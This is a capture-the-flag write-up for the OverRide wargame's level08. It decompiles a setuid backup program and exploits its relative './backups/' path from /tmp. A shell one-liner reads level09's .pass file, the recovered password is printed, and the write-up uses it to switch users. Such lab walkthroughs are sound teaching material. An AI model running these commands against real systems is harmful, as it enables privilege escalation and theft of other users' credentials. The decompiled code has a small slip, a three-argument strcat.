

./level08

```
RELRO           STACK CANARY      NX       PIE      RPATH      RUNPATH     FILE
Full RELRO      Canary found    NX disabled No PIE   No RPATH   No RUNPATH /home/user/level08/level08
level08@OverRide:~$
```

Decompiled file with **Ghidra**:



```
void log_wrapper(FILE *log_file, char *message, char *filename)
{
    char log_buffer[255] = {0};

    strcpy(log_buffer, message);
    snprintf(log_buffer + strlen(log_buffer), 255 - strlen(log_buffer) - 1, filename);
    log_buffer[strlen(log_buffer) - 1] = '\0';
    fprintf(log_file, "LOG: %s\n", log_buffer);
}

int main(int argc, char **argv)
{
    char backup_path[100] = "./backups/";
    FILE *log_file, *source;
    int target;

    if (argc != 2)
        printf("Usage: %s filename\n", argv[0]);

    log_file = fopen("./backups/.log", "w");
    if (log_file == NULL)
    {
        printf("ERROR: Failed to open %s\n", "./backups/.log");
        exit(EXIT_FAILURE);
    }

    log_wrapper(log_file, "Starting back up: ", argv[1]);

    source = fopen(argv[1], "r");
    if (source == NULL)
    {
        printf("ERROR: Failed to open %s\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    strcat(backup_path, argv[1], 100 - strlen(backup_path) - 1);
    target = open(backup_path, O_WRONLY | O_CREAT | O_EXCL, 0600);
    if (target < 0)
    {
        printf("ERROR: Failed to open %s\n", backup_path);
        exit(1);
    }

    int ch;
    while ((ch = fgetc(source)) != EOF)
        write(target, &ch, 1);

    log_wrapper(log_file, "Finished back up ", argv[1]);

    fclose(source);
    close(target);
    return EXIT_SUCCESS;
}
```

./level08²

This program is designed to perform **backups** of a given file and maintain a **log** of its operations. It is a command-line utility that expects a filename as an argument.

It attempts to open a log file at **./backups/.log** for writing. If the file cannot be opened, the program reports an error and exits with a failure status. Once the log file is opened, the program uses **log_wrapper** to record the start of the backup process.

Subsequently, the program tries to open the specified source file for reading. If this file is inaccessible, an error is reported, and the program terminates. Upon successful file access, the program prepares the backup file path by appending the source filename to the **./backups/** directory. It takes care to prevent *buffer overflow* in constructing the file path.

The program attempts to create the backup file with appropriate permissions, ensuring it is new (by using **O_EXCL**). If it cannot open or create the backup file, it reports an error and exits. When the backup file is successfully opened, the program copies the content from the source to the backup file character by character.

After the backup is complete, the program logs this action and then closes both the source and backup files, exiting with a success status.

However, the program does not include functionality to create directories. Therefore, if we want to back up a file located within a nested directory structure (like **/home/users/level09/.pass**), the program will not work unless those directories already exist within the **./backups/** directory.

Since we lack permissions to create new directories within the **./backups/** folder in our **home** directory, backing up files from nested directories is not possible.

This limitation can be circumvented by exploiting the program's use of the relative path **./backups/**

In a directory like **/tmp**, we have the necessary permissions to create our own directory structures. By mirroring the target directory structure under a new backups directory within **/tmp**, it's possible to exploit the relative path handling of the program.

Executing it from within **/tmp** then allows the **.pass** file from the **level09** user's home directory to be backed up into our controlled **backups** location.



```
level08@OverRide:~$ cd /tmp &&
mkdir -p backups/home/users/level09 &&
~/level08 /home/users/level09/.pass &&
cat backups/home/users/level09/.pass &&
rm -rf backups
```

```
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
```

```
level08@OverRide:~$ su level09
Password: fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
```

```
level09@OverRide:~$
```